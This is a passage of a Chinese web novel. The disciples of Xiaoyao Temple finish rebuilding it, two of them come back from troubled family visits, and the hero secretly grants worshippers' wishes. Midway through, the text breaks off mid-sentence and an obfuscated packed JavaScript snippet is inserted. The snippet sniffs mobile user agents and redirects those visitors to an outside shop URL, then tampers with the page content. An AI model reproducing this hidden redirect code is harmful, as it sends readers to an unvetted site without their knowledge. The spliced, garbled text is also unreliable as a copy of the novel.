他摸了摸供桌,发现这也是刚打的家具,还散发着木头的清香。老刘头的手艺是真的好,家具打的漂亮,倒角也光滑细致。这里的一切都是新的,仿佛一个陈旧的生命焕发了新生。 李玉真道:“走吧,再去别处看看。” 三人穿过大殿,来到了第二进院,殿宇里供奉着南极长生大帝、北极紫微大帝、东极青华大帝、太极天皇大帝和后土元君。第三进院供奉着五斗星君和九天玄女。塑像都是原来就有的,但重新做了彩绘,十分华丽,殿宇也翻修的坚固多了,完全没有了以前那种岌岌可危的样子。 穿过院门,西侧院是练武场,地上铺着整齐的青石砖,周围摆着几个兵器架。墙角堆着沙袋,还有几个练摔跤用的皮人偶,此时靠在沙袋旁边,灰头土脸的。段星河左右胳膊各夹起一个人偶,把它们收进旁边的仓库里去了。 东侧院是花园,这边开了一大片地,土地裸露着,让他们自己安排种什么。前头有个水池,周围砌了一圈青石栏杆,雕着莲花头。池子里已经放满了水,有几只鲤鱼游来游去,有珍珠白的,也有头顶一点红的,还有半身金色的。段星河扶着栏杆望了一阵,觉得鱼鳞金灿灿的耀眼,道:“鱼哪来的?” 李玉真道:“这是观里的小孩儿前阵子去河里捞的,抓了十来条,专门挑好看的留下了。你看这金背大鲤子怎么样?” 段星河欣赏道:“不错,不好看的呢?” 宋胡缨无情道:“吃了。” 段星河就知道是这样,沉默着没说话。再往后是招待客人的厢房,小孩儿们三五成群地聚在一起,最近到处堆着泥巴和沙子,他们天天在这里浇水和泥玩,弄得衣裳脏兮兮的。师娘说了他们几次,小孩儿跟打游击似的,大人来了就跑,大人走了又在这里打地道。 段星河刚一冒头,就有放哨的孩子道:“大师兄来了,大师兄来了!” 小孩们乱作一团,有人拔腿就跑,有人一脚把挖了一半的隧道踢垮了,迅速破坏现场。段星河看他们跟没头苍蝇似的一阵乱窜,道:“别跑了,看见你们玩泥巴了。” 小孩们身上沾着泥浆,抹的跟花猫似的,还假装无事发生。段星河有点无可奈何,道:“泥巴有什么好玩的?” 小栓子站在一旁,讷讷道:“就是……好玩。” 段星河道:“跟蚂蚁比哪个好玩?” 小栓子道:“蚂蚁。” 段星河笑了,随手擦去了他脸上的灰,道:“洗洗脸,等会儿吃饭去了。” 小孩儿们便纷纷散了,段星河拿起旁边的大笤帚,把散开的沙子扫到了一起。穿过这边,再往后就是他们住的弟子房,旁边扩建了好几间屋。老刘头修到这边了,段星河也出关了,正好互不打扰。 再往后是仆役房,材料堆过去了,活干了一半,老刘头正带着徒弟在屋顶上铺瓦片。段星河站在院子里打了声招呼,道:“刘师傅,辛苦了。” 老刘头低头看着他,道:“都看过了吗,感觉怎么样?” 段星河竖起了大拇指,心悦诚服道:“太好看了,简直就是神仙福地,感谢你们!” “喜欢就好,”老刘头悠悠道,“不过钱花超啦,只够修院子的,这边的工人费得加。” 段星河寻思着带回来的钱花的差不多了,还得给师娘留点生活费,不行就只能找步云邪去借了。老刘头看他露出了难色,哈哈地笑了,道:“逗你玩呢,老头儿干了这么多年活了,怎么可能连钱都把不好!” 段星河顿时松了口气,道:“那就好,你们忙着。” 三个人去厨房打了饭,逃也似的离开了这边。一个小伙子道:“师父,怎么不让他们加钱了?” 老刘头伸了个懒腰,看着远处的天空道:“反正也没赔本,就当做好事吧,这不比过年抢头香更实在么?” 徒弟想了想,道:“也是,有神仙保佑,咱们以后肯定能挣大钱!” 段星河转了一圈,还沉浸在震撼当中。李玉真感叹道:“这缺一门的老刘头确实厉害,手艺真好啊!” 宋胡缨点了点头,道:“要的钱不多,活干得好还省心,是个好人。” 李玉真道:“修道观是积德的好事嘛,这不比放生那些乱七八糟的玩意好多了嘛。” 宋胡缨面无表情道:“前几天我还看见有人在河边神神叨叨的放生井水,说一滴水有三万六千虫。” 李玉真笑了,道:“在这儿刷功德呢,行吧……祝他们早日飞升,到神跟前继续糊弄去。” 三个人提着食盒往回走,今天有炒白菜、红烧河虾和清汤丸子。走在路上,宋胡缨想起了她的义子,道:“不知道伏顺他们怎么样了?” 李玉真道:“应该挺好的吧,挣了那么多钱,日子肯定好过多了。” 段星河没说话,似乎觉得未必会有那么好。 李玉真已经期待他们回来时的情形了:“等他们回来,见房子盖得这么漂亮了,肯定吓一跳。” 月黑风高,寂静笼罩着前头湾。一座农家小院里,一个人影背着包袱悄悄打开了大门。院子里的大黄狗竖起了耳朵,汪地叫了一声。伏顺吓了一跳,回头道:“嘘,嘘——别出声。” 屋里的老父亲正在熟睡,打鼾的声音还没停下。伏顺趁着夜色溜了出去,刚到门外就见大姐从对面出来了。她站在台阶上,居高临下地看着他道:“大半夜鬼鬼祟祟的,你干嘛去?” 大姐五年前嫁到了对面,娘家有点什么动静都听的一清二楚。伏顺连忙道:“别让人听见,钱都花没了,我得再出去挣了。” 大姐道:“要走你不大方的,半夜出门,你阴兵过道啊?” 伏顺东张西望,跟做贼似的道:“不是……我怕有人再找我借钱。” 大姐一手叉腰道:“不是前两天你嘚瑟的时候了,不想娶媳妇了?” 伏顺搔了搔头道:“好男儿志在四方,这么早成亲干什么。我走了大姐,你好好替我孝顺咱爹。” 大姐十分恼火,道:“我没空,婆家还得让我伺候呢。你怎么不自己孝顺?” 伏顺可怜道:“姐,我把家里欠的债都还上了,我尽力了!” 他这话倒是真的,他带了钱回来,头一件事就是把家里欠的二百两债务还清了,还给父亲买了一头大黄牛,给姐姐买了几套新衣裳。他在这待了这段时间,感觉家里不像他想象的那么好,决定还是早点去找大师兄。他把行李往肩膀上一甩,道:“我以后再回来看你们,走啦。” 他说着拔腿就跑,气得大姐直跺脚,破口骂道:“你个没良心的东西,扔下烂摊子给我。一把年纪了还游手好闲的,讨嫌鬼,呸!” 天蒙蒙亮,伏顺来到了隔壁赵家屯。他到了赵大海家门前,他家的小妹子小芳一早就起来做饭了,她伺候完了家里人,又忙着喂猪、喂鸡。赵小芳穿着一身洗的发白的碎花袄,拿着笸箩经过院门前,就见伏顺站在外面,正在往里张望。 她怯生生道:“你找谁?” 伏顺早就听说他有个妹妹,没想到长这么大了,道:“赵大海是住在这里吗?” 赵大海刚洗完了脸,听见声音出来一看,喜出望外道:“好兄弟,你怎么来了!” 伏顺十分兴奋,搂着他到了院墙外,低声道:“我要回逍遥观了,你要不要一起走?” 赵大海这几天也寻思着要走了,待了两个多月,家里没什么事要办的了。他道:“走也行,你等我收拾一下。” 伏顺在院外蹲了一会儿,赵大海回去收拾了个包袱。赵大娘快步走了过来,怕他偷拿家里东西似的,眼睛迅速扫了一遍,道:“大傻,你上哪去?” 赵大海弯腰抱了一下母亲,道:“我出去挣钱了,过一阵子回来看你们。” 赵大娘喔了一声,道:“那你去吧,家里事不用你操心。” 他二弟打着呵欠出来,道:“你要走啊?” 赵大海道:“嗯,你成亲我看不着了,提前祝你那个……娶个好媳妇。” 二弟心烦地说:“嘴不利索就别说吉利话了,赶紧去挣你的钱吧,在家跟个饭桶似的吃那么多!” 他摆了摆手,跟轰苍蝇似的。赵大海的脾气也好,笑了一下,低着头出来了。 他推开柴门走出来,伏顺站了起来。忽听身后有人喊道:“哥,等一下——” 赵大海回过头来,却见小妹子怀里揣着一大叠小米煎饼,还有五六个煮鸡蛋塞给他,生怕他在外面饿着。赵大海温声道:“没事,我有钱吃饭。” 屋里传来了赵老二的声音:“臭丫头,活没干完呢你就往外跑,看见野男人了?” 伏顺有点不满,道:“谁是野男人!” 赵小芳已经习惯二哥这样了,也没理他,低声道:“好好保护自己,平安最重要。” 赵大海嗯了一声,道:“我之前跟你说的,你可都记着了?” 小妹子点了点头,神色十分郑重,又有些不舍。赵大海勉强笑了一下,道:“你好好的,哥过一阵子就回来。” 哥俩搭着伴回了青岩山,来到了道观门前,俩人都呆住了。两个多月没回来,没想到家里发生了翻天覆地的变化。山间缭绕着淡淡的云雾,青松和翠竹簇拥着气派的山门,整个逍遥观透着一派道骨仙风的气息。伏顺挠了挠头,困惑道:“原来那个小破观呢,让人偷走了?” 赵大海哈哈地笑了:“偷了个破的,还给咱们个新的。” 段星河等人听说他们回来了,过来迎接。伏顺道:“大师兄,我们回来啦。” 段星河露出了笑容,道:“欢迎,家修成这样了,喜欢吗?” 赵大海实诚道:“太好看了,我觉得自己有点配不上这里。” 段星河道:“胡说什么,这里也有你一份钱,你不配谁配!” 赵大海在家里被二弟嫌弃习惯了,来这里忽然被当成人看,有点不适应,只能咧着嘴憨憨地笑。 李玉真道:“在家过得好吗?” 伏顺不想被人看不起,打起精神道:“好得很,大家都说我有出息了,我爹也夸我跟对了人。媒婆给我说了好几个漂亮姑娘,我都没相中。” 一向只有他追着姑娘跑的份,这会儿人家上赶着找他,他反而拿起架子来了。大家觉得他肯定吹牛了,伏顺被看的不自在,拿胳膊肘捣了赵大海一记,道:“你怎么样?” 赵大海早就准备好了说辞,道:“喔,我好得很,我娘一个劲儿地夸我有本事。我给二弟留了些娶媳妇的钱,给娘和妹妹买了新衣裳,大家都很高兴。” 他和伏顺咧开嘴笑了起来,表情看起来有点僵硬。李玉真有些疑惑,转头看宋胡缨。 宋胡缨道:“笑不出来可以不用笑。” 赵大海把嘴咧得更大了,努力道:“我笑的出来啊,我很开心啊。” 他俩家里的人都不是省油的灯,回去这一趟俩人都老了好几岁,白头发都肉眼可见的长出了好几根,但在人前还是想维持自己的体面。段星河不想揭穿他们,道:“开心就好,回去歇歇吧,我让厨房给你们做好吃的。” 当天晚上,赵大海提着个酒葫芦来到了花园里。新修的房子很漂亮,师兄弟对他也很好,比在家过得像样多了。他跟二弟明明是亲人,却还不如外人,母亲也不在乎他的死活,只当他是个没有感觉的傻子。赵大海一想到这些就难受得很,却不知道能跟谁说,只能一个人喝闷酒。 伏顺换了地方也睡不着,出来想散一散步,没想到就在花园里遇到了赵大海。 他过去拍了他肩膀一下,道:“欸,干什么呢?” 赵大海呛了一口酒,咳嗽道:“在这儿看看月亮,咳,一惊一乍的吓死我了。” 伏顺在赵大海身边坐下了,道:“你有心事啊?” 赵大海沉默了片刻,闷着声音像头牛似的道:“没回家的时候想家里人,回去了又觉得还不如不回去。” 伏顺看着他,道:“发生什么事了?” 赵大海有点醉了,低声道:“我娘让我出二百两银子给我弟娶媳妇、一百两银子给他修房子,又让我把多余的钱给我娘,她帮我存着。” 钱又不是大风刮来的,他们张口就要这么多,就算是亲人也太过分了。伏顺紧张起来,道:“你都给了啊,你不是真的傻吧?” 赵大海道:“我挣钱就是想给家里人花的嘛,我就给了我弟三百两,然后给我娘留了二百两。” 他要面子,跟段星河他们只说给二弟出了彩礼钱,实际上却是把养老和修房子的钱全出了。伏顺气得直拍大腿,愤愤地道:“我都没法说你,你看你二弟拿了钱,对你有好脸色么?你娘只稀罕你二弟,你给多少钱也没用。她不爱你,也不爱你小妹子,你还看不出来吗!” 赵大海忽然有点难过,将近九尺的大男人抱着膝盖缩成一团,像块笨重的大石头似的。他低下了头,道:“我知道,可是我娘拿到钱的时候对我笑了,还夸我有出息。她以前从来都没夸过我的。” 伏顺冷笑了一声,道:“我夸夸你,你也给我二百两成不成?” 赵大海认真道:“我真的很希望我娘能爱我。我特别羡慕二弟,我娘从小就疼他,要是能分给我一点我就知足了。” 伏顺沉默下来,感觉他像一头水牛似的,虽然长了这么大个,但一直温吞吞的,还是需要别人牵着他走。 赵大海这么做也是不得已,道:“天外天那么危险,下次回来还不知道是什么时候。我走之前必须得帮我二弟把彩礼钱着落下来,要不然我娘就要把我小妹嫁人换钱了。” 伏顺见他小妹子挺勤快的,模样也水灵,要是嫁的人不好就太可惜了。他道:“有人选了么?” 赵大海道:“我娘给她找了个老鳏夫,四十多了,跟他要二百两聘礼。我小妹不愿意,她才十六呢。她自己有个喜欢的人,那小子我见过,人品不错,对她也很好,就是家里穷了一点。他们俩都是勤快的人,只要踏实过日子会好起来的。我偷偷给了她二百两银子做嫁妆,让她好好存起来,千万别让娘和老二发现了。” 伏顺觉得只有这件事办的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729248|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还像样一点。他有点担忧,道:“人贪起来没个头的。你走了,你娘再卖你妹妹怎么办?” 赵大海已经想好了,道:“我跟小妹说了,要是娘再卖她,就让她偷偷跑到青岩山投奔咱们师娘。我给她留了那么多钱,有钱总能活下来的。” “那就好,”伏顺点了点头,“你手头还有钱吧?” 赵大海道:“还有点,够活着的。你呢?” 伏顺支支吾吾起来,道:“你问这么多干什么?” 赵大海对他还是很了解的,嘿嘿一笑道:“你不是不想娶媳妇,是钱花没了,娶不起了吧?” 伏顺的神色顿时尴尬起来,他一回家就还上了之前欠的旧账,周围的人觉得奇怪,问他哪来的钱,他说在外头跑生意挣的。他的那帮狐朋狗友就说伏顺发财了,起哄让他请客吃饭,又有不少人来找他借钱,今天三十两明天五十两的,钱很快就花没了。 他本来相了一个姑娘,谈得还行,但人家要二百两银子聘礼。伏顺只剩下一百多两了,干嘛也不够,只好放弃了。 他说完这段时间的经历,赵大海点了点头,道:“你比我也好不到哪里去。” 他们的家就像无底洞,多少钱扔进去都听不见个响,简直让人绝望。伏顺沮丧道:“幸亏我一到家就先买了一头牛,要不然我这回去一趟,就什么也没留下了。” 赵大海把酒喝干了,道:“还是跟着大师兄好,起码有个向上的奔头。” 夜静静的,两人沉默了良久,不约而同地叹了口气。头一次攥着这么多钱,他们也没有经验,如今才知道了什么叫花钱如山倒,挣钱如抽丝。回了一趟家,一年在外头都白干了。 伏顺抬头看着天边的月亮,深吸了一口气道:“从头再来吧,这回我不再乱花了。” 赵大海道:“嗯,有钱就好好存起来,不再管那些乱七八糟的事了。” 休息了几天,这天一早,段星河提着铲子过来敲门,精力充沛道:“大海、伏顺,有空没有?” 赵大海正在屋里打坐,伏顺探头出来道:“嘘,他在练功呐。” 段星河没想到他还挺用功,低声道:“我去后山挑树,你来不来?” 赵大海听见了他们的声音,收了功,穿上鞋过来道:“干嘛去,带我一个。” 段星河道:“我想把树种一种,你们跟我去后山挖点苗回来吧。” 赵大海答应了,推了辆小车跟着他。伏顺把铲子和麻绳放在车里,和他们一起去了后山。此时秋意正浓,大部分树都黄了,松柏还是青的。段星河道:“找几棵顺眼的松树、柏树,乔木和能开花的树也行,半大的那种好活,根上的土别去掉,开始吧。” 三人拿着铲子分头行动,漫山遍野地转悠。片刻伏顺背来了几棵梧桐树苗,赵大海背来了几颗紫薇树苗,还有两棵丁香树。段星河从附近拖来了两棵马尾松,片刻他又在半山腰找到了三棵玉兰树,这种树春天花朵硕大压满枝头,好看的很。他如获至宝地背了回来,顺便收了一大把蜀葵和茉牛花的种子。 兄弟几个把树苗捆起来运回了道观里,放下树苗之后又来了一趟,这回挖了些松柏,还有些迎春冬青之类的灌木。道观里本来就有一些松柏和老银杏树,生得枝繁叶茂,但扩建之后就显得有点不足。段星河带人把松柏补在院子里,挖坑、浇水,忙的不亦乐乎。 李玉真听说大家在种树,连忙出来凑热闹。他和宋胡缨把玉兰种在了待客的院子里,树下有一副青石桌椅,上头摆着一方棋盘。等花开的时候,坐在这里下棋、喝茶,都是一件风雅的事。 李玉真抬头看着树,憧憬地说:“你说,这是白玉兰,还是紫玉兰?” 宋胡缨好像也有点期待,道:“不知道,等春天再来看。” 小对眼一跃上了桌子,慢条斯理地舔着毛,好像也挺喜欢这里的。 李玉真拿笤帚扫干净了路上的土,一边道:“宋姑娘,你会下棋吗?” 宋胡缨漠然道:“我只会下五子棋。” 李玉真犹豫了一下,硬夸道:“喔,那个……五子棋要下的好也很难的,比如一子双杀什么的。” 宋胡缨淡淡道:“五子棋我是瞎下,叶子牌我也不会玩,很无聊吧。” “不会啊,”李玉真道,“你很有爱心,你把小对眼养的很好。你看它现在都不咬人了。” 伏顺从旁边经过,忍不住道:“不咬人算什么优点,瓜皮从来都不咬人。” 李玉真看了他一眼,想让他不会说话就别说。宋胡缨打了桶水,哗地一声泼在地上,淡淡道:“无聊也没关系。我现在就想把刀法练好,耽误时间的事,我一概都想不关心。” 李玉真看着她的身影,觉得她这话可能是说给自己听的。他垂下了眼,寻思自己是不是烦到她了。宋胡缨没再说什么,放下水桶去了后面厨房,去领晚饭了。 小对眼抖了抖毛,嗖地跳下了桌子,跟着宋胡缨跑了。李玉真独自站在晚风里,觉得自己更加孤独了。 段星河花了一天时间,把前头的树都种完了。次日一早,苗圃的人把果苗送了过来。段星河站在花园里,低头对他儿子道:“要给你种果树了,你喜欢苹果在左边还是右边?” 墨墨寻思了一下,迈着小短腿来到了左边。小对眼更喜欢无花果,蹲在了右边。段星河提起了铲子,道:“好,那就开工!” 土地十分松软,段星河挖了几个坑,把树苗放了进去,盖上土浇水。苗圃的伙计帮他们把蜡梅、米兰等灌木种上了,一群人乌乌泱泱地忙活了大半天。段星河抹了一把汗,看着初具雏形的花园,感觉跟他在外面见过的大宗门有点相似了。等到了春天,这些树抽枝长叶,开出花来,这里一定很漂亮。 他把铲子扎在地里,挥斥方遒地道:“兄弟们,怎么样?” 一人道:“不错,真能干。” 段星河回头一望,却见步云邪不知什么时候来了。他穿着一身白袍,头上扎着红发带,笑吟吟地看着他,道:“这才几天不见,你就把道观建的这么好了。” 段星河又惊又喜,道:“你什么时候出关的?” “昨天就出来了,”步云邪道,“给人摸顶赐福,把护符发了一下,就忙活过去了。” 他身上还带着一股清冷的气息,没完全从祭司的身份里脱离出来。段星河道:“累么?” 步云邪轻轻一笑,道:“还行吧,跟你没得比。” 他说着指了指自己的脸颊,道:“这里,擦擦。” 段星河伸手一抹,擦下一大把泥来,也不知道什么时候弄上的。步云邪去旁边桶里舀了一瓢水给他洗了手,又舀了一瓢给他接着洗脸。段星河洗干净了,狗子似的甩了甩头,长舒了一口气道:“舒服。” 两人在花园里站着,清风扑面而来,让人身心舒畅。步云邪道:“我修到金丹期了。” 段星河一诧,随即露出了笑容。步云邪的悟性极好,早该修到金丹期了。只是在外头杂事太多,如今闭关这三个月,他终于突破了境界,段星河实在替他高兴。 段星河道:“恭喜你,喔,宋姑娘也到金丹期了。” 这样一来,兄弟们之中就有三个金丹期的了,战力大大提升。步云邪点了点头,道:“她一直很努力的。” 赵大海凑了过来,想说什么,又有点不好意思。段星河道:“怎么啦?” 赵大海道:“那个……前阵子我也筑基了。” 他能筑基,还多亏了步云邪给他拓展了经脉。如今有了好消息,他第一个就想告诉步云邪。伏顺都不知道这件事,觉得自己被当成了外人,埋怨道:“这么大的事,你怎么不早说?” 赵大海挠了挠头道:“你们都那么厉害了,我才刚筑基,有点说不出口。” 步云邪微笑道:“这是好事啊,有什么说不出口的,恭喜你!” 赵大海便憨憨地笑了。步云邪递给段星河一张护符,温声道:“答应你的,保平安的。” 浅蓝色的护符带着一股灵力,让人身心宁静。段星河现在最需要这个,贴身收了起来,道:“多谢。” 步云邪又把护符分给了其他人,众人都十分高兴。老刘头带着徒弟们收拾了东西,专门过来找段星河,道:“小伙子,活儿全干完了,你验收一下。” 段星河这些天已经把逍遥观转了好几遍了,对老刘头的工程十分满意。他道:“我看过了,都挺好的,多谢刘大师!” 他对老刘头的称呼从刘师傅变成了刘大师,透着一股心悦诚服。老刘头哈哈一笑,道:“行,那就这样了,我们走啦。” 段星河诚恳道:“刘大师,留下来吃顿饭,明天再走吧。” 老刘头摆了摆手道:“不啦,家里的小孙子都想我了。改天再来烧香,再会。” 众人送他们到大门口,目送着缺一门的人下山去了。晚霞漫天,回首望过来,逍遥观庄严华美,仿佛有万道瑞光放射出来,如同神仙洞府一般。 步云邪感叹道:“真漂亮啊。” 段星河总算完成了一桩心愿,道:“是啊,这就是咱们的家,也不比天心观差了。” 步云邪几乎都要把那帮讨厌鬼忘了,一想起刘正阳那上蹿下跳的样子就来气,道:“好端端的,想他们干什么。” 段星河笑了,道:“好,不管别人,咱们好好过咱们的。” 52.青岩山 四 阳光灿烂,段星河挑了个上上大吉的好日子,在大门前放了一串鞭炮,庆祝逍遥观改建完成。一万响的鞭炮噼里啪啦地炸开来,小孩子们捂着耳朵挤成一堆,等浓烟散去便兴奋地又跳又叫。 “住新房啦,住新房啦!” 李玉真等人在一旁噼里啪啦地鼓掌,改建新房他们也出了力,特别有参与感。步云邪把寨子里的人都叫来了,族长还让人送了些美酒和鸡鸭作为贺礼。大家纷纷道:“恭喜、恭喜啊。” 段星河拱手抱拳,向众人道谢,请大家进来喝茶。众人拿着香进了道观,准备拜神许愿。段星河和师娘走在后面,看着庄严肃穆的道场,心里十分喜悦。乔月柔道:“好孩子,多亏了你才能把道观修的这么好。” 段星河道:“都是师娘在操心,我没做什么。” 实现了人生的理想,段星河整个人都精神焕发,觉得自己这段时间在外面的罪没白受。 大殿里已经挤满了人,檀香的烟气在空中缭绕着。步云邪在前面回过头来,招手道:“星哥,快点——” 段星河微微一笑,快步跟了上去,融进了人群当中。 青岩山的逍遥观重建了,万事俱备就差香火了。段星河专门下山去宣传,邀请附近的百姓来参观。赵大海刷上浆糊,哗地一下子把一张告示糊在了公告板上,道:“会有人来吗?” 周围贴满了找狗、找猫,招长工短工的消息,他们一个硕大的告示贴在上面格外显眼。段星河自信道:“秋高气爽,正适合出游。咱们青岩山风景这么好,又有这么漂亮的道观,当然会有人来。” 伏顺感觉他最近就没闲着,道:“大师兄,你也操太多心了吧,香客什么的不都随缘么?” 段星河道:“酒香也怕巷子深。咱们改建了,人家不知道嘛。” 三个人贴完了告示,买了点肉和蔬菜,驾着牛车回了山上。等了数日,镇上来的客人还是不多。步家寨子的人倒是常来烧香许愿,毕竟两边离得近,一抬腿就过来了。 步云邪闲来无事,过来找段星河。他在路上遇见了小栓子,道:“看见大师兄了吗?” 小栓子手里拿着个小风车,讷讷地说:“大师兄在正殿。” 步云邪道:“在那儿干嘛?” 小栓子道:“玩蚂蚁。” 步云邪有些莫名其妙,不知道自闭也会传染。他来到了正殿,见大殿宽敞明亮,三清像的金身华美,崭新的帷幔垂下来,供桌上摆着新鲜的水果和鲜花,十分气派庄严。 一名年轻妇人跪在蒲团上,手里拿着三炷香,低声说着自己的愿望。 “我儿最近总是做噩梦,夜里啼哭不止,找郎中看了也不见效。求三清保佑我儿子好起来吧。” 步云邪到处都没找到段星河,悄然从侧面经过,想去别处看看,忽然发现神像后坐着一个人。段星河躲在阴影里,手里拿着一根炭条,正在一个本子上写着什么东西。 步云邪奇怪道:“你在这里干什么?” 段星河吓了一跳,连忙道:“嘘——” 香客们朝这边看过来,步云邪只好假装无事发生,抬手整理了一下旁边的帷幔。 片刻没人注意这边了,段星河朝他招了招手,步云邪猫着腰过去了。两人藏在神像后面,身体被帷幔遮住了,不刻意找的话不会发现他们。 步云邪小声道:“你这是干什么?” 段星河窝成一团躲在这里,看起来跟自闭似的,难怪小栓子说他在正殿玩蚂蚁。 步云邪凑过去看他本子,却见上头写着,步家寨刘家媳妇祈求孩子免做噩梦。 步云邪满头问号,不知道他记这个干什么。这时候又有香客进来了,跪在蒲团上道:“我家的柿子就要成熟了,最近有好多喜鹊来啄果子。它们又不盯着一个吃,每个都啄一口,太气人了。求神仙保佑,收获之前别让鸟祸害了我的果子。” 段星河偷偷往外看了一眼,认出了那个人是果园的步老三,在本子上记了下来,驱赶野鸟,保护步老三家的果子。 步老三拜完了神,又掏出一块碎银子,放到了功德箱里,看来是真的担心他的收成。 段星河是个尊重金钱的人,在他的名字后面又打了个星号,以示优先级。 大殿里没人了,步云邪看着本子上一长串的愿望,低声道:“你该不会是想帮他们都实现了吧?” 段星河背靠着神像,用炭条划掉了一些特别离谱的,剩下了一些能办到的,道:“神仙太忙了,咱们帮忙显个灵,也能挣点香火钱嘛。” 步云邪道:“你是不是太闲了?” “就是闲的啊,”段星河悠然道,“反正是举手之劳,又不麻烦。” 两人说着话,又有个大婶进来了,祈祷道:“我家的猪长得太慢了,对面家里都出栏好几头了,我们家也养不肥。我小儿子还等着钱交学费呢,求三清保佑我家猪长得又肥又壮。” 步云邪忍不住笑了,当神仙也挺无奈的,每天都要听这么多奇怪的要求。李大婶好像听见了声音,探着头到处望了一圈,大殿里静悄悄的,除了她没有别人。李大婶有点害怕,又躬身拜了拜,倒退两步出了大殿,快步走了。 李大婶自己就瘦的离谱,在寨子里以吝啬出名。她家的猪长不胖,可能就是饿的,多喂几顿就好了。 片刻一个爷爷领着他的孙女过来,小女孩儿哭哭啼啼的,拖着个硕大的鼻涕泡。爷爷给她擦了擦脸,道:“把你的愿望跟神仙说一说,他会帮你的。” 小女孩儿抽抽噎噎地说:“我的包丢了……求神仙帮我找回来。” 段星河头上冒出了问号,道:“包,还是宝?” 爷爷耐心道:“长什么样啊。” 小女孩儿道:“黄色的,身上有斑纹,像一只小老虎,叫虎子,三岁了,公的。前天晚上我进屋吃饭,它在藤椅旁边睡觉。忽然外头有别的包叫了几声,它跑出去了,就没再回来。” 段星河明白过来了,记道:“猫啊……橘猫三岁,叫虎子,前天丢的。” 爷爷帮小孙女上了香,安慰道:“神仙听见了,会帮你找的,别哭了啊。” 小孙女点了点头,又从口袋里掏出几块饴糖,双手捧着放在了供桌上,模样十分虔诚。爷爷笑了一下,牵着她的手走了。步云邪低声道:“能办到吗?” 段星河道:“找猫应该不难吧。” 青岩山这么大,步云邪觉得难说。他有点饿了,从供桌上拿了个大红苹果过来,从中掰成两半,递给段星河一块。两个人啃着苹果,一边寻思着怎么完成这些愿望。这时候外头有人进来了,步云邪连忙把苹果咽了下去。段星河还没嚼完,腮帮子鼓鼓囊囊的,坐着一动也不敢动。 这时候就听一个姑娘说:“信女文氏今年十七岁,想找个踏实可靠的好夫婿。” 步云邪喃喃道:“这个有难度,帮不了你。” 那女孩道:“我看逍遥观的段师兄——” 段星河吓了一跳,差点被苹果呛住,费了好半天劲才咽下去。那姑娘好像听见了声音,觉得有点奇怪。她东张西望了片刻,没再发现异样,继续道:“我看逍遥观的段师兄带回来的那个李道长就挺好的,模样俊秀,脾气又好,若是未来的夫婿能跟他一样就好了。” 段星河松了口气,原来是看上李玉真了。小文姑娘有些羞怯,垂下眼道:“也不知道他修的是有情道还是无情道,要是能跟他说几句话就好了。” 段星河记了下来,文家姑娘喜欢李玉真,想跟他说几句话。 片刻女孩儿走了,两人等了一阵子,没再有人过来。天色渐渐晚了,段星河拿着小本子走出来,决定从简单的开始,道:“趁着天黑,先去喂猪吧。” 步云邪的腿都蹲麻了,看他踌躇满志的,诧异道:“你还真去啊?” 段星河道:“你一起来吗?” 步云邪觉得太掉价了,皱眉道:“我堂堂步家寨子的祭司、族长的孙子、钦天监的六品司业,为什么要半夜偷摸去帮人喂猪?” 段星河一副能屈能伸的态度,觉得没什么大不了的,道:“那好吧,我自己去了。” 夜幕深沉,寨子里的灯火星星点点的。李大婶睡得早,家里已经没有光亮了。她家的大门是酸枣刺编的,平时拿铁钩子一别,也没人靠近。 段星河拨弄了几下就把门撬开了,蹑手蹑脚地潜了进去。 两人站在李家的牲口棚外,浓烈的牲口气息扑面而来。段星河道:“你不是不来么?” 步云邪道:“我怕你偷吃啊。” 两人各提着一个大桶,装着不少从厨房要来的泔水,里头有吃剩的粥、窝头、菜花梗、土豆、南瓜、菜叶子,都是猪爱吃的。厨房的大娘问他们要这么多湿垃圾干什么,段星河说要沤花肥,大娘就都给他了。 段星河观察了一下猪食槽,发现里面都是一些糠皮、萝卜头、白菜根,光吃这个猪能长胖才怪呢。 两人悄悄地把泔水倒进槽子里,几头猪一拥而上,哼哧哼哧地吃了起来。她家的猪太饿了,一会儿功夫就把食槽舔得干干净净。 看猪吃得那么欢,还挺有成就感的。步云邪道:“就喂一顿也胖不起来吧?” 段星河也有同感,道:“起码得再来喂个七八天吧。” 两人提着桶,蹑手蹑脚地溜出去了。 喂完了猪,段星河拿了两根竹竿,来到了步老三家的果园里。满树都是将要成熟的柿子,像小灯笼似的挂在枝头,已经有不少被鸟儿啄了。段星河从地上捡起了一个柿子,看着上面乱七八糟的洞,道:“这也太嚣张了吧。” 一只灰喜鹊扑着翅膀飞过来,段星河举起竹竿挥了挥,低声道:“走开,不准来了。” 喜鹊还不服气,根竹竿游斗了片刻,被轻轻敲了一下。它咔咔地叫了几声,转身飞走了。段星河在一棵树边坐下,双手搂着竹竿,打算在这里待一阵子。步云邪道:“你要守到什么时候?” 段星河道:“坐一会儿呗,你困了吗?” 步云邪倒是不困,就是觉得有点无聊。他道:“你不觉得这法子有点费劲儿吗?” 段星河还挺想得开的,道:“这些喜鹊会传话的,赶几次它们就不来了。” 他正说着话,忽然见面前啪地一下,一摊鸟屎落了下来。段星河抬头一望,见刚才那只灰喜鹊又飞了回来,身后还带了四五只同类。步云邪倒抽了一口气,道:“确实会传话,找咱们报复来了。” 段星河连忙把外衣脱下来,捂住了头,把步云邪也兜了进去,道:“我的天,快想个办法!” 步云邪跟他挤在一起,不慌不忙道:“你求我啊。” 段星河道:“你有法子?” 步云邪道:“你先求我再说,诚恳一点。” 又有几摊鸟屎砸了下来,喜鹊得意地鸣叫着,仿佛在跟他们示威。段星河只好道:“步家寨子的祭司、族长的孙子、钦天监的六品司业、我最好的兄弟,求你了,赶紧把它们弄走!” 步云邪笑了,将一点金光凝结在手上,口中念诵咒语。金光越聚越大,步云邪轻轻向上一抛,灵光倏然张开来,就像一个穹顶一样笼罩在果林的上方。 